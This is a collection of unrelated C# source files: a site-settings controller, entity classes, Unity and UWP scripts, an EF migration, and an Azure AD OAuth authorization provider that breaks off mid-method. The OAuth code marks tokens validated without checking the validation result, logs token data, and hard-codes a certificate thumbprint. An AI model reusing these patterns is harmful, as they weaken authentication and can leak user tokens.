}
if (string.IsNullOrEmpty(siteSettingModel.SitePhone))
{
return Json(new Result() { success = false, msg = "请填写客服电话", status = -2 });
}
string logoName = "logo.png";
string qrCodeName = "qrCode.png";
string relativeDir = "/Storage/Plat/Site/";
string imageDir = relativeDir;
if (!string.IsNullOrWhiteSpace(siteSettingModel.Logo))
{
if (siteSettingModel.Logo.Contains("/Temp/"))
{
string Logo = siteSettingModel.Logo.Substring(siteSettingModel.Logo.LastIndexOf("/Temp"));
Core.MZcmsIO.CopyFile(Logo, imageDir + logoName, true);
}
}
if (!string.IsNullOrWhiteSpace(siteSettingModel.QRCode))
{
if (siteSettingModel.QRCode.Contains("/Temp/"))
{
string qrCode = siteSettingModel.QRCode.Substring(siteSettingModel.QRCode.LastIndexOf("/Temp"));
Core.MZcmsIO.CopyFile(qrCode, imageDir + qrCodeName, true);
}
}
Result result = new Result();
var siteSetting = _iSiteSettingService.GetSiteSettings();
siteSetting.SiteName = siteSettingModel.SiteName;
siteSetting.SitePhone = siteSettingModel.SitePhone;
siteSetting.SiteIsClose = siteSettingModel.SiteIsOpen;
siteSetting.Logo = relativeDir + logoName;
siteSetting.QRCode = relativeDir + qrCodeName;
siteSetting.FlowScript = siteSettingModel.FlowScript;
siteSetting.Site_SEOTitle = siteSettingModel.Site_SEOTitle;
siteSetting.Site_SEOKeywords = siteSettingModel.Site_SEOKeywords;
siteSetting.Site_SEODescription = siteSettingModel.Site_SEODescription;
siteSetting.MobileVerifOpen = siteSettingModel.MobileVerifOpen;
siteSetting.RegisterType = (int)siteSettingModel.RegisterType;
siteSetting.MobileVerifOpen = false;
siteSetting.EmailVerifOpen = false;
siteSetting.RegisterEmailRequired = false;
switch (siteSettingModel.RegisterType)
{
case SiteSettingsInfo.RegisterTypes.Mobile:
siteSetting.MobileVerifOpen = true;
break;
case SiteSettingsInfo.RegisterTypes.Normal:
if (siteSettingModel.EmailVerifOpen == true)
{
siteSetting.EmailVerifOpen = true;
siteSetting.RegisterEmailRequired = true;
}
break;
}
_iSiteSettingService.SetSiteSettings(siteSetting);
result.success = true;
return Json(result);
}
}
} |
using LazyVocabulary.Common.Enums;
using System;
using System.Collections.Generic;
using System.Globalization;
namespace LazyVocabulary.Common.Entities
{
public class UserProfile
{
public int Id { get; set; }
public string Name { get; set; }
public string Surname { get; set; }
public DateTime? DateOfBirth { get; set; }
public DateTime CreatedAt { get; set; }
public DateTime UpdatedAt { get; set; }
public DateTime PasswordUpdatedAt { get; set; }
public virtual ApplicationUser ApplicationUser { get; set; }
public LocaleLanguage Locale { get; set; }
private static readonly Dictionary<LocaleLanguage, CultureInfo> _cultures;
private static readonly LocaleLanguage _defaultLocale;
public UserProfile()
{
CreatedAt = DateTime.Now;
UpdatedAt = DateTime.Now;
PasswordUpdatedAt = DateTime.Now;
Locale = _defaultLocale;
}
public UserProfile(string locale) : this()
{
try
{
Locale = (LocaleLanguage)Enum.Parse(typeof(LocaleLanguage), locale, true);
}
catch (Exception)
{
Locale = _defaultLocale;
}
}
static UserProfile()
{
_defaultLocale = LocaleLanguage.Ru;
_cultures = new Dictionary<LocaleLanguage, CultureInfo>();
foreach (LocaleLanguage language in Enum.GetValues(typeof(LocaleLanguage)))
{
_cultures.Add(language, new CultureInfo(language.ToString()));
}
}
public CultureInfo UserCulture
{
get
{
return _cultures[Locale];
}
}
public static CultureInfo DefaultCulture
{
get
{
return _cultures[_defaultLocale];
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using Windows.Foundation;
using Windows.Foundation.Collections;
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
using Windows.UI.Xaml.Controls.Primitives;
using Windows.UI.Xaml.Data;
using Windows.UI.Xaml.Input;
using Windows.UI.Xaml.Media;
using Windows.UI.Xaml.Navigation;
// The Item Detail Page item template is documented at http://go.microsoft.com/fwlink/?LinkId=234232
namespace BusAroundMe
{
/// <summary>
/// A page that displays details for a single item within a group while allowing gestures to
/// flip through other items belonging to the same group.
/// </summary>
public sealed partial class BusRouteDetailPage : BusAroundMe.Common.LayoutAwarePage
{
public BusRouteDetailPage()
{
this.InitializeComponent();
}
/// <summary>
/// Invoked when this page is about to be displayed in a Frame.
/// </summary>
/// <param name="e">Event data that describes how this page was reached. The Parameter
/// property provides the initial item to be displayed.</param>
protected override void OnNavigatedTo(NavigationEventArgs e)
{
BusRoute route = e.Parameter as BusRoute;
if (route != null)
{
viewModel = new BusRouteWebPageViewModel(route);
this.DataContext = viewModel;
if (route.Url != null)
{
this.contentView.Navigate(route.Url);
}
}
BusStopForRoute bsfr = e.Parameter as BusStopForRoute;
if (bsfr != null)
{
viewModel = new BusRouteWebPageViewModel(bsfr.Route);
this.DataContext = viewModel;
if (bsfr.Route.Url != null)
{
this.contentView.Navigate(bsfr.Route.Url);
}
}
// TODO: Assign a bindable group to this.DefaultViewModel["Group"]
// TODO: Assign a collection of bindable items to this.DefaultViewModel["Items"]
}
/// <summary>
///
/// </summary>
private BusRouteWebPageViewModel viewModel;
/// <summary>
/// Populates the page with content passed during navigation. Any saved state is also
/// provided when recreating a page from a prior session.
/// </summary>
/// <param name="navigationParameter">The parameter value passed to
/// <see cref="Frame.Navigate(Type, Object)"/> when this page was initially requested.
/// </param>
/// <param name="pageState">A dictionary of state preserved by this page during an earlier
/// session. This will be null the first time a page is visited.</param>
protected override void LoadState(Object navigationParameter, Dictionary<String, Object> pageState)
{
// Allow saved page state to override the initial item to display
if (pageState != null && pageState.ContainsKey("SelectedItem"))
{
navigationParameter = pageState["SelectedItem"];
}
// TODO: Assign a bindable group to this.DefaultViewModel["Group"]
// TODO: Assign a collection of bindable items to this.DefaultViewModel["Items"]
// TODO: Assign the selected item to this.flipView.SelectedItem
}
/// <summary>
/// Preserves state associated with this page in case the application is suspended or the
/// page is discarded from the navigation cache. Values must conform to the serialization
/// requirements of <see cref="SuspensionManager.SessionState"/>.
/// </summary>
/// <param name="pageState">An empty dictionary to be populated with serializable state.</param>
protected override void SaveState(Dictionary<String, Object> pageState)
{
//var selectedItem = this.flipView.SelectedItem;
// TODO: Derive a serializable navigation parameter and assign it to pageState["SelectedItem"]
}
}
}
|
using System;
using System.Collections.Generic;
using System.Xml;
using UnityEngine;
namespace YoukiaUnity.CinemaSystem
{
/// <summary>
/// 电影系统角色类
/// 演员:该类运行时加载的人物
/// 角色:制作时的点位
/// </summary>
public class CinemaCharacter : MonoBehaviour
{
/// <summary>
/// 使用运行时预先关联角色模式
///
/// 此模式作用为角色是指定的但是需要从运行时环境动态绑定时就需要启用此模式
///
/// 此模式使用指定角色的角色动作表而非公共动作配置表
///
/// </summary>
[SerializeField]//[HideInInspector]
private bool _UseActorIDPreBinding = false;
public bool UseActorIDPreBinding
{
get { return _UseActorIDPreBinding; }
}
/// <summary>
/// 记录预关联角色模式下关联的角色预制体路径(主要用于查错)
/// </summary>
[SerializeField]//[HideInInspector]
private string _ActorLoadPath;
public string ActorLoadPath
{
get { return _ActorLoadPath; }
}
[NonSerialized]
public string name = "NoInstall";
/// <summary>
/// 行为id
/// </summary>
// [NonSerialized]
// [KeyAbleVariable]
public float BehaviorID = 0;
/// <summary>
/// 运行时关联的演员ID
/// </summary>
public string ActorID;
/// <summary>
/// 启动后自动加载模型
/// </summary>
// public GameObject ActorPrefab;
/// <summary>
/// 隐藏绑定的角色
/// </summary>
[SerializeField]//[HideInInspector]
private bool _HideBindingActorPrefab = false;
public bool HideBindingActorPrefab
{
get { return _HideBindingActorPrefab; }
}
/// <summary>
/// 自加载的演员会parent到Actor<角色>下面,非自加载的人物保持它本身树节点关系不边,update中更新世界坐标位置信息
/// </summary>
[NonSerialized]
public bool CreateBySelf = false;
/// <summary>
/// 角色是否自动创建ModelShadowProjector组件
/// </summary>
public bool UseModelShadowProjector = false;
public ICinemaActor CinemaActor;
/// <summary>
/// 关联人物表演前的坐标
/// </summary>
private Vector3 orgPos;
/// <summary>
/// 关联人物表演前的旋转
/// </summary>
private Vector3 orgRot;
/// <summary>
/// 当前行为
/// </summary>
public string Currentbehavior;
/// <summary>
/// (actor)角色跟随演员,关闭的则为演员跟随(actor)角色
/// </summary>
public bool FollowPrefab = false;
/// <summary>
/// 输出当前BehaviorID对应的BehaviorName, 如BehaviorID找不到对应的BehaviorName则返回Null
/// </summary>
public string BehaviorIDToBehaviorName()
{
if (_UseActorIDPreBinding || !string.IsNullOrEmpty(_ActorLoadPath))
{
//预绑定角色 =>
if (_BehaviorNameList != null)
{
int id = (int)BehaviorID;
if (id >= 0 && id < _BehaviorNameList.Length)
{
return _BehaviorNameList[id];
}
}
}
else
{
//运行时绑定角色 =>
return CinemaRTBActorBehavior.BehaviorIDToBehaviorName(BehaviorID);
}
return null;
}
[SerializeField]
// [HideInInspector]
private string[] _BehaviorNameList;
// protected override void OnUpdate()
private void Update()
{
// base.OnUpdate();
if (CinemaActor != null)
{
CinemaActor.OnUpdate(this);
}
}
}
/// <summary>
/// CinemaRuntimeBindingActorBehavior
///
/// *** 注意:
///
/// 运行时需要使用AnimationClipConfig配置表作为公共角色动作定义表, 请在运行时设置CinemaRTBActorBehavior.UseAnimationClipConfig = true, 并填充CinemaRTBActorBehavior.AnimationClipConfigDic;
///
/// </summary>
public class CinemaRTBActorBehavior
{
public static bool UseAnimationClipConfig = false;
public static Dictionary<string, int> AnimationClipConfigDic;
/// <summary>
/// 公共角色动作定义表
/// </summary>
enum RTBActorBehaviorEnum
{
idle = 0,
show = 2, //show1,
die = 4, //die1,
hurt = 10, hurt1, //hurt2, hurt3, hurt4,
hurtfly = 15, hurtfly1, //hurtfly2, hurtfly3, hurtfly4,
move = 20, move1, move2, //move3, move4,
rush = 25, //rush1, rush2, rush3, rush4,
getup = 30, //getup1, getup2, getup3, getup4,
//---- 预留 ------
attack = 50, attack1, attack2, attack3, attack4, attack5, //attack6, attack7, attack8, attack9,
stand = 60, stand1, stand2,// stand3, stand4,
stun = 65, //stun1, stun2, stun3, stun4
skill = 70, skill1, skill2, skill3, skill4, skill5, //skill6, skill7, skill8, skill9,
}
public static List<string> ExportAllRTBActorBehaviorNames()
{
List<string> list = new List<string>();
Dictionary<int,string> dic = new Dictionary<int, string>();
string[] allExs = Enum.GetNames(typeof (RTBActorBehaviorEnum));
int MaxId = -1;
int i, len = allExs.Length;
for (i = 0; i < len; i++)
{
string name = allExs[i];
int idx = (int) Enum.Parse(typeof (RTBActorBehaviorEnum), name);
dic.Add(idx, name);
if (idx > MaxId)
{
MaxId = idx;
}
}
len = MaxId + 1;
for (i = 0; i < len; i++)
{
if (dic.ContainsKey(i))
{
list.Add(dic[i]);
}
else
{
list.Add(null);
}
}
return list;
}
/// <summary>
/// 根据BehaviorID返回公共角色动作定义表中所对应的动作名
///
/// 注意:如果该BehaviorID未在公共角色动作定义表中定义,则返回 Null
///
/// </summary>
public static string BehaviorIDToBehaviorName(float BehaviorID)
{
return BehaviorIDToBehaviorName((int)BehaviorID);
}
public static string BehaviorIDToBehaviorName(int BehaviorID)
{
if (UseAnimationClipConfig && AnimationClipConfigDic != null)
{
foreach (KeyValuePair<string, int> each in AnimationClipConfigDic)
{
if (each.Value == BehaviorID)
{
return each.Key;
}
}
return null;
}
else
{
if (Enum.IsDefined(typeof(RTBActorBehaviorEnum), BehaviorID))
{
RTBActorBehaviorEnum em = (RTBActorBehaviorEnum)BehaviorID;
return em.ToString();
}
}
return null;
}
/// <summary>
/// 返回公共角色动作定义表中所对应的BehaviorID
///
/// 注意:如果该动作名字未在公共角色动作定义表中定义,则返回 0
///
/// </summary>
public static int BehaviorNameToBehaviorID(string BehaviorName)
{
if (UseAnimationClipConfig && AnimationClipConfigDic != null)
{
foreach (KeyValuePair<string, int> each in AnimationClipConfigDic)
{
if (each.Key == BehaviorName)
{
return each.Value;
}
}
return 0;
}
else
{
if (Enum.IsDefined(typeof (RTBActorBehaviorEnum), BehaviorName))
{
RTBActorBehaviorEnum em =
(RTBActorBehaviorEnum) Enum.Parse(typeof (RTBActorBehaviorEnum), BehaviorName);
return (int) em;
}
}
return 0;
}
}
} |
using System;
using System.Collections.Generic;
using System.Text;
namespace ShopsRUs.Infrastructure.Services.InvoiceService
{
public class Bill
{
public string Item { get; set; }
public decimal Amount { get; set; }
public string UserPhoneNumber { get; set; }
public string UserName { get; set; }
public string PreferredDiscountName { get; set; }
public BillsType BillsType { get; set; }
}
public enum BillsType
{
Groceries,
Others
}
}
|
using System;
namespace Micro.Net.Test
{
public class TestResponse
{
public Guid RequestId { get; set; }
public Guid ResponseId { get; set; }
}
} |
using EnglishHubRepository;
namespace EnglishHubApi
{
public class WordRequestEntity
{
public string lexialCategory { get; set; }
public string definition { get; set; }
public string id { get; set; }
public string word { get; set; }
public string description { get; set; }
public string userId { get; set; }
public string packageId { get; set; }
public string ownSentence { get; set; }
public string synonym { get; set; }
public PackageEntityRequest packageEntity { get; set; }
}
} |
namespace Ornithology.Data.Migrations
{
using System;
using System.Data.Entity.Migrations;
public partial class CrearTablas : DbMigration
{
public override void Up()
{
CreateTable(
"dbo.TONT_AVES",
c => new
{
CDAVE = c.String(nullable: false, maxLength: 5),
DSNOMBRE_COMUN = c.String(maxLength: 100),
DSNOMBRE_CIENTIFICO = c.String(maxLength: 200),
})
.PrimaryKey(t => t.CDAVE);
CreateTable(
"dbo.TONT_AVES_PAIS",
c => new
{
CDPAIS = c.String(nullable: false, maxLength: 5),
CDAVE = c.String(nullable: false, maxLength: 5),
})
.PrimaryKey(t => new { t.CDPAIS, t.CDAVE })
.ForeignKey("dbo.TONT_AVES", t => t.CDAVE, cascadeDelete: true)
.ForeignKey("dbo.TONT_PAISES", t => t.CDPAIS, cascadeDelete: true)
.Index(t => t.CDPAIS)
.Index(t => t.CDAVE);
CreateTable(
"dbo.TONT_PAISES",
c => new
{
CDPAIS = c.String(nullable: false, maxLength: 5),
DSNOMBRE = c.String(maxLength: 100),
CDZONA = c.String(maxLength: 3),
})
.PrimaryKey(t => t.CDPAIS)
.ForeignKey("dbo.TONT_ZONAS", t => t.CDZONA)
.Index(t => t.CDZONA);
CreateTable(
"dbo.TONT_ZONAS",
c => new
{
CDZONA = c.String(nullable: false, maxLength: 3),
DSNOMBRE = c.String(maxLength: 45),
})
.PrimaryKey(t => t.CDZONA);
}
public override void Down()
{
DropForeignKey("dbo.TONT_AVES_PAIS", "CDPAIS", "dbo.TONT_PAISES");
DropForeignKey("dbo.TONT_PAISES", "CDZONA", "dbo.TONT_ZONAS");
DropForeignKey("dbo.TONT_AVES_PAIS", "CDAVE", "dbo.TONT_AVES");
DropIndex("dbo.TONT_PAISES", new[] { "CDZONA" });
DropIndex("dbo.TONT_AVES_PAIS", new[] { "CDAVE" });
DropIndex("dbo.TONT_AVES_PAIS", new[] { "CDPAIS" });
DropTable("dbo.TONT_ZONAS");
DropTable("dbo.TONT_PAISES");
DropTable("dbo.TONT_AVES_PAIS");
DropTable("dbo.TONT_AVES");
}
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class StartScreen : MonoBehaviour
{
public MoveForward playerForward;
// Update is called once per frame
void Update()
{
if (Input.GetMouseButtonDown(0))
{
GetComponent<FadeIn>().StartFadeOut();
playerForward.enabled = true;
}
}
}
|
using System;
using System.Collections.Concurrent;
using System.Configuration;
using System.IdentityModel.Tokens;
using System.Linq;
using System.Security.Claims;
using System.Security.Cryptography.X509Certificates;
using System.Threading.Tasks;
using System.Web;
using AuthenticationContext = Microsoft.IdentityModel.Clients.ActiveDirectory.AuthenticationContext;
using Claim = System.Security.Claims.Claim;
using Microsoft.IdentityModel.Clients.ActiveDirectory;
using Microsoft.Owin;
using Microsoft.Owin.Security.Cookies;
using Microsoft.Owin.Security.OAuth;
using Microsoft.Owin.Security.OpenIdConnect;
using System.Net;
using System.Collections.Generic;
using Microsoft.DataStudio.OAuthMiddleware.Models;
using Newtonsoft.Json;
using System.IO;
using Newtonsoft.Json.Linq;
using Microsoft.DataStudio.Diagnostics;
using System.Diagnostics;
using Microsoft.DataStudio.OAuthMiddleware.Helpers;
using Microsoft.Azure;
using Microsoft.Owin.Security;
namespace Microsoft.DataStudio.OAuthMiddleware.AuthorizationServiceProvider
{
public class SimpleAuthorizationServerProvider : OAuthAuthorizationServerProvider
{
/// <summary>
/// The AAD specific configuration values.
/// </summary>
private static readonly string ClientId = CloudConfigurationManager.GetSetting("ida:ClientId");
private static readonly string TenantId = CloudConfigurationManager.GetSetting("ida:TenantId");
private static readonly string AADInstance = CloudConfigurationManager.GetSetting("ida:AADInstance");
private static readonly string RedirectUrl = CloudConfigurationManager.GetSetting("ida:RedirectUri");
private static readonly string PostLogoutRedirectUri = CloudConfigurationManager.GetSetting("ida:PostLogoutRedirectUri");
private static readonly string resourceKey = CloudConfigurationManager.GetSetting("ida:ResourceName");
private static readonly string armEndpoint = CloudConfigurationManager.GetSetting("ida:armEndpoint");
private string certName = CloudConfigurationManager.GetSetting("ida:certName");
private ConcurrentDictionary<string, TokenCacheItem> _tokenCache;
private static ClientAssertionCertificate certCred;
ILogger _logger;
private const string GRANT_TYPE_CLIENTCREDENTIAL = "client_credentials";
private const string GRANT_TYPE_CUSTOM = "custom";
private const string SUBSCRIPTIONID = "subscriptionid";
internal ConcurrentDictionary<string, TokenCacheItem> TokenCache { get { return _tokenCache; } }
public SimpleAuthorizationServerProvider(object cacheObject, ILogger logger)
{
this._tokenCache = cacheObject as ConcurrentDictionary<string, TokenCacheItem>;
certCred = new ClientAssertionCertificate(ClientId, GetAADCertificate());
this._logger = logger;
}
public override Task ValidateClientAuthentication(OAuthValidateClientAuthenticationContext context)
{
/// validate the token if is from the right caller. Will pass through if the grant_type=clientcredential, else it will decode the JWT token and validate .
///
var grantType = context.Parameters.Get("grant_type");
if (grantType == null)
{
_logger.Write(TraceEventType.Error, "Owin.ValidateClientAuthentication User:{0} grant_type is null", context.OwinContext.Authentication.User.Identity.Name);
return Task.FromResult<object>(null);
}
if (grantType == GRANT_TYPE_CLIENTCREDENTIAL)
{
if (this.isUserAuthenticated(context.OwinContext))
{
context.Validated();
}
}
if (grantType == GRANT_TYPE_CUSTOM)
{
string idToken = context.Parameters.Get("access_token");
if (!string.IsNullOrEmpty(idToken))
{
JwtTokenParser.AddTokenForValidation(context.Parameters.Get(("access_token")));
JwtTokenParser.Validate(ClaimTypes.Upn, _tokenCache);
JwtTokenParser.Validate(ClaimTypes.Expiration, _tokenCache);
context.Validated();
}
else
{
_logger.Write(TraceEventType.Error, "Owin.ValidateClientAuthentication User:{0} access_token is null or invalid", context.OwinContext.Authentication.User.Identity.Name);
}
}
return base.ValidateClientAuthentication(context);
}
public override Task GrantCustomExtension(OAuthGrantCustomExtensionContext context)
{
string idToken = context.Parameters.Get("idtoken");
JwtTokenParser.AddTokenForValidation(idToken);
var oAuthIdentity = new ClaimsIdentity(context.Options.AuthenticationType);
/// Add username to the claim so that it can be identified in the next owin pipeline
///
string userName = JwtTokenParser.GetSignedUserName();
oAuthIdentity.AddClaim(new Claim(ClaimTypes.Name, JwtTokenParser.GetSignedUserName()));
/// Update the access_token with a fresh 60 min token.
TokenCacheItem cachedItem;
//check if we have the cached token for the user in dictionary
if (_tokenCache.TryGetValue(userName, out cachedItem))
{
var tenants = GetTenant(cachedItem.authCode, cachedItem, userName);
List<Subscription> userSubscriptions = GetSubscriptions(cachedItem.authCode, cachedItem, tenants, userName);
var updatedCachedItem = new TokenCacheItem();
updatedCachedItem.sessionId = cachedItem.sessionId;
updatedCachedItem.authCode = cachedItem.authCode;
updatedCachedItem.idTokenRawValue = cachedItem.idTokenRawValue;
updatedCachedItem.redirectUri = cachedItem.redirectUri;
updatedCachedItem.sessionId = cachedItem.sessionId;
updatedCachedItem.subscriptions = userSubscriptions;
_tokenCache.AddOrUpdate(userName, updatedCachedItem, (key, newValue) => updatedCachedItem);
}
var ticket = new AuthenticationTicket(oAuthIdentity, new AuthenticationProperties());
context.Validated(ticket);
return base.GrantCustomExtension(context);
}
/// <summary>
/// This method is called on each request for access_token.
/// </summary>
/// <param name="context">Owin context that is passed from the middleware. This is where we create the claims</param>
/// <returns></returns>
public override Task GrantClientCredentials(OAuthGrantClientCredentialsContext context)
{
string signedInUserUniqueName = context.OwinContext.Authentication.User.Identity.Name;
var claimsIdentity = new ClaimsIdentity(context.OwinContext.Authentication.User.Identity);
var authCode = claimsIdentity.Claims.SingleOrDefault(c => c.Type == "code");
var id_token = claimsIdentity.Claims.SingleOrDefault(c => c.Type == "id_token");
#region ACCESS_TOKEN
// retrieve the auth_code that we recieved from the Authentication flow. This authcode is provided after user signs in successfully.
// make a call to AAD with the auth code for the access token. Result of the call will be access_token and refresh token. The refresh token
// can be used again before expiry to renew the access token.
TokenCacheItem cachedItem;
//check if we have the cached token for the user in dictionary
if (_tokenCache.TryGetValue(signedInUserUniqueName, out cachedItem))
{
if (cachedItem.IsValid)
{
//now that we have the cached item lets check if the token is about to expiry
if (cachedItem.RenewThresholdReached)
{
GetAccessTokenWithRefreshCode(cachedItem, signedInUserUniqueName);
}
}
else
{
//item is in cache but not with complete values so lets fetch the token for the first time and update the item.
GetAccessTokenWithAuthCode(authCode.Value, id_token.Value, signedInUserUniqueName);
_tokenCache.TryGetValue(signedInUserUniqueName, out cachedItem);
_logger.Write(TraceEventType.Information, "Owin.GrantClientCredentials for existing user - {0}, issuer :{1}", signedInUserUniqueName, cachedItem.TokensData);
}
}
else
{
//item is not in cache yet so lets fetch the token for the first time and store it.
_tokenCache.TryAdd(signedInUserUniqueName, new TokenCacheItem { authCode = authCode.Value, sessionId = Guid.NewGuid() });
GetAccessTokenWithAuthCode(authCode.Value, id_token.Value, signedInUserUniqueName);
}
#endregion
context.Validated(claimsIdentity);
return Task.FromResult<object>(null);
}
/// <summary>
/// Method to get the Access token using a refresh token.
/// </summary>
/// <param name="cachedItem">cached item which is already in the token dictionary</param>
private void GetAccessTokenWithRefreshCode(TokenCacheItem cachedItem, string userName)
{
if (cachedItem != null)
{
// We need a certificate based client credential. The client here is really our owin layer, as this
// layer is responsible for getting the access_token from the AAD. As a security measure we use a certificate to validate our credential.
int retryCount = 0;
bool retry = false;
// Lets try for 3 times if AAD is down or service is unavailable.
do
{
retry = false;
try
{
//var tenants = GetTenant(cachedItem.authCode, cachedItem, userName);
//var aadlContext = new AuthenticationContext(string.Format(AADInstance, cachedItem.tenantId));
// var result = aadlContext.AcquireTokenByRefreshToken(cachedItem.refreshTokenRawValue, certCred, resourceKey);
//cachedItem.UpdateTokens(result);
var updatedCachedItem = new TokenCacheItem();
updatedCachedItem.sessionId = cachedItem.sessionId;
updatedCachedItem.authCode = cachedItem.authCode;
updatedCachedItem.idTokenRawValue = cachedItem.idTokenRawValue;
//updatedCachedItem.tenantId = cachedItem.tenantId;
updatedCachedItem.redirectUri = cachedItem.redirectUri;
updatedCachedItem.subscriptions = GetSubscriptionsByRefreshCode(cachedItem, userName);
_tokenCache.TryUpdate(userName, updatedCachedItem, cachedItem);
}
catch (AdalException ex)
{
if (ex.ErrorCode == "temporarily_unavailable")
{
retry = true;
retryCount++;
}
else
{
cachedItem.LastError = ex.Message;
}
_logger.Write(TraceEventType.Error, "Owin.GetAccessTokenWithRefreshCode User:{0} Exception:{1}", userName, ex.Message);
}
catch (Exception ex)
{
cachedItem.LastError = ex.Message;
_logger.Write(TraceEventType.Error, "Owin.GetAccessTokenWithRefreshCode User:{0} Exception:{1}", userName, ex.Message);
}
} while ((retry == true) && (retryCount < 3));
}
}
/// <summary>
/// Method to get the Access token using a auth code.
/// </summary>
/// <param name="authCode">authorization code that we recieved after a successfull authentication. The suth code is recieved only once and hence we need to save it. Here we saved it in the dictionary object</param>
/// <param name="id_token">id token we recieved after a successfull authentication</param>
/// <param name="userName">logged in user</param>
private void GetAccessTokenWithAuthCode(string authCode, string id_token, string userName)
{
TokenCacheItem cachedItem;
_tokenCache.TryGetValue(userName, out cachedItem);
if (cachedItem != null)
{
// We need a certificate based client credential. The client here is really our owin layer, as this
// layer is responsible for getting the access_token from the AAD. As a security measure we use a certificate to validate our credential.
int retryCount = 0;
bool retry = false;
// Lets try for 3 times if AAD is down or service is unavailable.
do
{
retry = false;
try
{
var tenants = GetTenant(authCode, cachedItem, userName);
List<Subscription> userSubscriptions = GetSubscriptions(authCode, cachedItem, tenants, userName);
var updatedCachedItem = new TokenCacheItem();
updatedCachedItem.sessionId = cachedItem.sessionId;
updatedCachedItem.authCode = authCode;
updatedCachedItem.idTokenRawValue = id_token;
updatedCachedItem.redirectUri = cachedItem.redirectUri;
updatedCachedItem.subscriptions = userSubscriptions;
_tokenCache.TryUpdate(userName, updatedCachedItem, cachedItem);
}
catch (AdalException ex)
{
if (ex.ErrorCode == "temporarily_unavailable")
{
retry = true;
retryCount++;
}
else
{
cachedItem.LastError = ex.Message;
}
_logger.Write(TraceEventType.Error, "Owin.GetAccessTokenWithAuthCode User:{0} Exception:{1}", userName, ex.Message);
}
catch (Exception ex)
{
cachedItem.LastError = ex.Message;
_logger.Write(TraceEventType.Error, "Owin.GetAccessTokenWithAuthCode User:{0} Exception:{1}", userName, ex.Message);
}
} while ((retry == true) && (retryCount < 3));
}
}
private List<Subscription> GetSubscriptionsByRefreshCode(TokenCacheItem cachedItem, string userName)
{
List<Subscription> allSubscriptions = new List<Subscription>();
var uri = new Uri(string.Format("{0}subscriptions?api-version=2014-04-01", armEndpoint));
foreach (var item in cachedItem.subscriptions)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);
request.Method = "GET";
request.Accept = "application/json";
request.ContentType = "application/json";
var aadlContext = new AuthenticationContext(string.Format(AADInstance, item.TenantId));
var result = aadlContext.AcquireTokenByRefreshToken(item.Refresh_token, certCred, resourceKey);
request.Headers.Add("Authorization", "Bearer " + result.AccessToken);
var response = request.GetResponse();
StreamReader reader = new StreamReader(response.GetResponseStream());
string responseFromServer = reader.ReadToEnd();
reader.Close();
response.Close();
dynamic data = JObject.Parse(responseFromServer);
var subscriptions = ((JArray)data.value).ToObject<List<Subscription>>();
subscriptions.ForEach((s) =>
{
s.Access_token = result.AccessToken;
s.Refresh_token = result.RefreshToken;
});
allSubscriptions.AddRange(subscriptions);
}
catch (Exception ex)
{
_logger.Write(TraceEventType.Error, "Owin.GetSubscriptions User:{0} Exception:{1}", userName, ex.Message);
}
}
return allSubscriptions;
}
private List<Subscription> GetSubscriptions(string authCode, TokenCacheItem currentItem, List<Tenant> tenants, string userName)
{
List<Subscription> allSubscriptions = new List<Subscription>();
if (tenants == null) return allSubscriptions;
if (tenants.Count() == 0) return allSubscriptions;
var uri = new Uri(string.Format("{0}subscriptions?api-version=2014-04-01", armEndpoint));
foreach (var tenant in tenants)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);
request.Method = "GET";
request.Accept = "application/json";
request.ContentType = "application/json";
var aadlContext = new AuthenticationContext(string.Format(AADInstance, tenant.tenantId));
var result = aadlContext.AcquireTokenByAuthorizationCode(authCode, new Uri(currentItem.redirectUri), certCred, resourceKey);
request.Headers.Add("Authorization", "Bearer " + result.AccessToken);
var response = request.GetResponse();
StreamReader reader = new StreamReader(response.GetResponseStream());
string responseFromServer = reader.ReadToEnd();
reader.Close();
response.Close();
dynamic data = JObject.Parse(responseFromServer);
var subscriptions = ((JArray)data.value).ToObject<List<Subscription>>();
subscriptions.ForEach((s) =>
{
s.Access_token = result.AccessToken;
s.Refresh_token = result.RefreshToken;
s.TenantId = tenant.tenantId;
});
allSubscriptions.AddRange(subscriptions);
}
catch (Exception ex)
{
currentItem.LastError = ex.Message;
_logger.Write(TraceEventType.Error, "Owin.GetSubscriptions User:{0} Exception:{1}", userName, ex.Message);
}
}
return allSubscriptions;
}
private List<Tenant> GetTenant(string authCode, TokenCacheItem cachedItem, string userName)
{
try
{
var aadlContext = new AuthenticationContext(string.Format(AADInstance, "common"));
var result = aadlContext.AcquireTokenByAuthorizationCode(authCode, new Uri(cachedItem.redirectUri), certCred, resourceKey);
var uri = new Uri(string.Format("{0}tenants?api-version=2014-04-01", armEndpoint));
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);
request.Method = "GET";
request.Accept = "application/json";
request.Headers.Add("Authorization", "Bearer " + result.AccessToken);
request.ContentType = "application/json";
var response = request.GetResponse();
StreamReader reader = new StreamReader(response.GetResponseStream());
string responseFromServer = reader.ReadToEnd();
reader.Close();
response.Close();
dynamic data = JObject.Parse(responseFromServer);
return ((JArray)data.value).ToObject<List<Tenant>>();
}
catch (Exception ex)
{
_logger.Write(TraceEventType.Error, "Owin.GetSubscriptions User:{0} Exception:{1}", userName, ex.Message);
return null;
}
}
/// <summary>
/// Reads the configured certificates for the AAD.
/// </summary>
/// <returns></returns>
private X509Certificate2 GetAADCertificate()
{
#region CERTTIFICATE QUERY
X509Certificate2 cert = null;
///Certificate to be stored in Localmachine.
X509Store store = new X509Store(StoreLocation.LocalMachine);
store.Open(OpenFlags.ReadOnly | OpenFlags.OpenExistingOnly);
try
{
X509Certificate2Collection collection = (X509Certificate2Collection)store.Certificates;
X509Certificate2Collection fcollection = (X509Certificate2Collection)collection.Find(X509FindType.FindByTimeValid, DateTime.Now, false);
// IMP : The following line should use the hard coded certificate name. Probably a big in the framework code, if the variable certname is used then the certificate is not returned.
// X509Certificate2Collection signingCert = fcollection.Find(X509FindType.FindByThumbprint, certName, false);
X509Certificate2Collection signingCert = fcollection.Find(X509FindType.FindByThumbprint, "43EFD2E646863477F5E06438E5A6DB65D864CE74", false);
// From the collection of unexpired certificates, find the ones with the correct name.
if (signingCert.Count == 0)
{
//claimsIdentity.AddClaim(new Claim("fetch_error", "No matching certificate found, please check if the right certificate are installed for the Owin server."));
// No matching certificate found.
